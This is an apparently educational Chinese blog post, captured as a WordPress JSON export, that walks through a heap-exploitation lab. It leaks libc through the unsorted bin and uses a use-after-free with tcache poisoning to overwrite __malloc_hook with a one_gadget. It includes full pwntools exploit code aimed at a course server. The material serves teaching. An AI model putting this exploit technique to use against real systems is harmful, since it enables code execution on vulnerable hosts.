id=\"u1d3f1b10\">1.unsorted bin \u6cc4\u9732\u57fa\u5740<\/p>\n\n\n\n<p id=\"u97968978\">\u539f\u7406\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-63-1024x315.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"315\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-63-1024x315.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-437\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u3be4896d\">\u7b80\u5355\u6765\u8bf4\uff0c\u5f53unsorted bin\u4e2d\u53ea\u6709\u4e00\u4e2achunk\u65f6\uff0c\u8fd9\u4e2achunk\u7684fd\u548cbk\u6307\u9488\u90fd\u6307\u5411main_arena\u7684\u67d0\u4e2a\u504f\u79fb\u5904\uff0c\u8fd9\u4e2a\u504f\u79fb\u6309\u7167\u901a\u5e38\u7ecf\u9a8c\u6765\u8bf4\u662f96\uff0c\u4e5f\u53ef\u4ee5\u8c03\u8bd5\u8bc1\u5b9e\u4e00\u4e0b\uff08\u8fd9\u91cclibc\u5e93\u9519\u8bef\u6682\u65f6\u8fd8\u6ca1\u5f71\u54cd\u5230\uff09\uff1a<\/p>\n\n\n\n<p id=\"ua5caa62a\">\u6dfb\u52a0\u4e00\u4e2a\u5927\u5c0f1280B\u7684chunk0\u548c\u4e00\u4e2a32B\u7684chunk1\uff08\u540e\u9762\u8fd9\u4e2a\u4e3b\u8981\u662f\u9632\u6b62\u5728free chunk0\u65f6\u5019\u5b83\u8ddftop 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class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-64.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"897\" height=\"572\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-64.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-438\"  sizes=\"auto, (max-width: 897px) 100vw, 897px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uff8a96b2\"><\/p>\n\n\n\n<p id=\"u22b9975c\">\u6240\u4ee5\u5c31\u53ea\u80fd\u628alibc\u6587\u4ef6\u62d6\u5165IDA\u6765\u9759\u6001\u8c03\u8bd5\u627e\u504f\u79fb<\/p>\n\n\n\n<p id=\"u5b024e37\">(\u53c2\u8003<a href=\"https:\/\/blog.csdn.net\/qq_33976344\/article\/details\/119941461\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/blog.csdn.net\/qq_33976344\/article\/details\/119941461<\/a>)\uff1a<\/p>\n\n\n\n<p id=\"u189ae19f\">\u9996\u5148\u627e\u5230malloc_trim\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-69-1024x631.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"631\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-69-1024x631.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-443\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u95c6e48e\">\u5bf9\u6bd4\u6e90\u7801\uff0c\u627e\u5230main_arena\u5730\u5740\uff1a<\/p>\n\n\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-65.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"720\" height=\"324\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-65.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-439\"  sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u9c5b9541\">\u53ef\u4ee5\u770b\u5230\uff0c\u4e0a\u56fe\u7ea2\u6846\u5c31\u662fmain_arena\u5730\u5740\uff0c\u70b9\u8fdb\u53bb\uff1a<\/p>\n\n\n\n<p id=\"u8db5e733\">\u53ef\u4ee5\u53d1\u73b0malloc_hook\u5c31\u5728\u4e0a\u65b9\u504f\u79fb0x10\u5904<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-68-1024x318.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"318\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-68-1024x318.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-442\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u0dbb9462\">\u628a\u6211\u4eec\u6cc4\u9732\u7684\u5730\u5740\uff08main_arena+96\uff09\u8bb0\u4e3amain_arena_96\uff0c\u5219<\/p>\n\n\n\n<p id=\"uecd75ffa\">main_arena=main_arena_96-96<\/p>\n\n\n\n<p id=\"ud2284cfa\">malloc_hook=main_arena-0x10=main_arena_96-96-0x10<\/p>\n\n\n\n<p id=\"u6d7c91fe\">libc\u57fa\u5740\u4e5f\u80fd\u7b97\u51fa\u6765\u4e86\uff0c<\/p>\n\n\n\n<p id=\"uf07c554b\">libc_base = malloc_hook_addr &#8211; libc.sym[&#8216;__malloc_hook&#8217;]<\/p>\n\n\n\n<p id=\"uee5bdfd2\">onegadget\u7684\u5730\u5740\u4e5f\u80fd\u7b97\u51fa\u6765\u4e86\uff0conegadget\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5728libc\u5e93\u91cc\u9762\u81ea\u5e26\u7684\u53ef\u4ee5getshell\u7684\u7247\u6bb5\uff0c\u76f4\u63a5\u8c03\u7528\u5c31\u80fdgetshell\uff0c\u7528one_gadget\u5de5\u5177\u6765\u627e\uff1a<\/p>\n\n\n\n\n\n<p id=\"u5887704a\">\u6309\u7167\u7ecf\u9a8c\u4e4b\u8c08\uff0c\u7528\u6700\u540e\u4e00\u4e2a\u6700\u7a33\u59a5\uff0c\u4e0d\u4fe1\u53ef\u4ee5\u8bd5\u8bd5(<\/p>\n\n\n\n<p id=\"u4ddb564a\">\u6240\u4ee5onegadget=libc_base+0x10a2fc<\/p>\n\n\n\n<p id=\"uffda2a9a\">\u6b64\u65f6\u6211\u4eec\u5df2\u7ecf\u62ff\u5230\u4e86malloc hook\u3001onegadget\u7684\u771f\u5b9e\u5730\u5740,<\/p>\n\n\n\n<p id=\"u18f8cb68\">\u5230\u8fd9\u4e00\u6b65\u7684exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(0,0x410) #0\n\nadd(1,0x20) #1\n\ndelete(0)\n\nshow(0)\n\nio.recvuntil(b'content: ')\n\nmain_arena_add96=u64(io.recvuntil(b'\\n',drop=True).ljust(8,b'\\x00'))\n\nprint(hex(main_arena_add96))\n\nmain_arena = main_arena_add96 - 96\n\nmalloc_hook_addr = main_arena-0x10\n\nlibc_base = malloc_hook_addr - libc.sym&#91;'__malloc_hook']\n\nprint(hex(libc_base))\n\none_gadget = libc_base + 0x10a2fc\n\nsuccess('one_gadget: '+hex(one_gadget))<\/code><\/pre>\n\n\n\n<p id=\"ubd942817\"><\/p>\n\n\n\n<p id=\"uf3b86931\">\u63a5\u4e0b\u6765\u5c31\u662f\u5982\u4f55\u52ab\u6301malloc\u51fd\u6570\u6210onegadget\u4e86\uff0c\u7531\u4e8e\u53ea\u6709\u4e00\u4e2aUAF\u6f0f\u6d1e\u80fd\u7528\uff0c\u8003\u8651tcache bin attack<\/p>\n\n\n\n<p id=\"u836a28c5\">\u539f\u7406\u662f\uff0c\u5148\u628achunk1 free\u6389\uff0c\u7531\u4e8eUAF\u7684\u5b58\u5728\u53ef\u4ee5\u628a\u5b83\u7684fd\u6307\u9488\u6539\u6210\u4efb\u610f\u5730\u5740\uff0c\u6b64\u5904\u6539\u6210malloc_hook\u5730\u5740\uff0c\u6b64\u65f6tcache bin\u7684\u94fe\u8868\u4e0a\u6709\u4e24\u4e2achunk\uff0c\u4e00\u4e2a\u662ffree\u6389\u7684chunk1\uff0c\u4e00\u4e2a\u662fmalloc_hook\uff0c\u7136\u540e\u518d\u7533\u8bf7\u4e24\u4e2achunk\uff0c\u8bb0\u4e3achunk2\u548cchunk3\uff0c\u5927\u5c0f\u4e00\u81f4\u7684\u8bdd\uff0cchunk2\u5c31\u4f1a\u62ff\u5230chunk1\u7684\u5730\u5740\uff0cchunk3\u5c31\u4f1a\u62ff\u5230malloc_hook\u7684\u5730\u5740\uff0c\u6b64\u65f6\u518dedit chunk3\uff0c\u5c31\u80fd\u628amalloc_hook\u7684\u5185\u5bb9\u6539\u6210\u60f3\u8981\u7684onegadget\uff0c\u7136\u540e\u518d\u8c03\u7528malloc\u51fd\u6570\u5c31\u80fd\u8c03\u7528onegadget\uff0c\u62ff\u5230shell:<\/p>\n\n\n\n<p id=\"uc6df59fd\">(\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0ctcachebin \u7684fd\u6307\u9488\u6307\u5411\u4e0b\u4e00\u4e2achunk\u7684\u6570\u636e\u90e8\u5206\uff0c\u800c\u4e0d\u662f\u50cffastbin\u4e00\u6837\u6307\u5411chunk\u5934\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-70-1024x412.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"412\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-70-1024x412.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-444\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uc6df59fd\">)<\/p>\n\n\n\n<p id=\"u8a4b67a1\">\u8fd9\u4e00\u6b65\u7684exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>delete(1)\n\nedit(1,p64(malloc_hook_addr))\n\nadd(2,0x20)#2\n\nadd(3,0x20)#3\n\nedit(3,p64(one_gadget))\n\n#gdb.attach(io)\n\nio.sendlineafter(b\"choice >> \", b\"1\")\n\nio.sendlineafter(b'index: ',b'10')\n\nio.sendlineafter(b'size: ',b'10')\n\nio.interactive()<\/code><\/pre>\n\n\n\n<p id=\"u4c84df55\"><\/p>\n\n\n\n<p id=\"u8a760964\">\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\nlibc=ELF('\/home\/monke\/vmcourse_pwn\/8\/libc-2.27.so')\n\ncontext.log_level='info'\n\nio=remote(\"10.12.153.73\",10504)\n\n#io=process('\/home\/monke\/vmcourse_pwn\/8\/pwn.bin')\n\ndef add(index,size):\n\nio.sendlineafter(b'Your choice >> ',b'1')\n\nio.sendlineafter(b'index: ',str(index))\n\nio.sendlineafter(b'size: ',str(size))\n\ndef delete(index):\n\nio.sendlineafter(b'Your choice >> ',b'2')\n\nio.sendlineafter(b'index: ',str(index))\n\ndef show(index):\n\nio.sendlineafter(b'Your choice >> ',b'3')\n\nio.sendlineafter(b'index: ',str(index))\n\ndef edit(index,content):\n\nio.sendlineafter(b'Your choice >> ',b'4')\n\nio.sendlineafter(b'index: ',str(index))\n\nio.sendlineafter(b'content: ',content)\n\nadd(0,0x410) #0\n\nadd(1,0x20) #1\n\ndelete(0)\n\nshow(0)\n\nio.recvuntil(b'content: ')\n\nmain_arena_add96=u64(io.recvuntil(b'\\n',drop=True).ljust(8,b'\\x00'))\n\nprint(hex(main_arena_add96))\n\nmain_arena = main_arena_add96 - 96\n\nmalloc_hook_addr = main_arena-0x10\n\nlibc_base = malloc_hook_addr - libc.sym&#91;'__malloc_hook']\n\nprint(hex(libc_base))\n\none_gadget = libc_base + 0x10a2fc\n\nsuccess('one_gadget: '+hex(one_gadget))\n\ndelete(1)\n\nedit(1,p64(malloc_hook_addr))\n\nadd(2,0x20)#2\n\nadd(3,0x20)#3\n\nedit(3,p64(one_gadget))\n\n#gdb.attach(io)\n\nio.sendlineafter(b\"choice >> \", b\"1\")\n\nio.sendlineafter(b'index: ',b'10')\n\nio.sendlineafter(b'size: ',b'10')\n\nio.interactive()<\/code><\/pre>\n\n\n\n<p id=\"ue00d3bc3\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-71-1024x446.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"446\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-71-1024x446.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-445\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-72-1024x501.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"501\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-72-1024x501.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-446\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>1 \u7b80\u5355\u7684\u6808\u6ea2\u51fa\u8986\u76d6\u53d8\u91cf 2 ret2syscall 3\uff08\u6cc4\u9732canary\uff09 \u7531\u4e0a\u56fe\u53ef\u4ee5\u770b\u51fa\uff0c\u7684\u786e\u5f00\u542f\u4e86can [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"class_list":["post-405","post","type-post","status-publish","format-standard","hentry","category-21"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/405","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=405"}],"version-history":[{"count":2,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/405\/revisions"}],"predecessor-version":[{"id":451,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/405\/revisions\/451"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=405"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=405"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=405"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}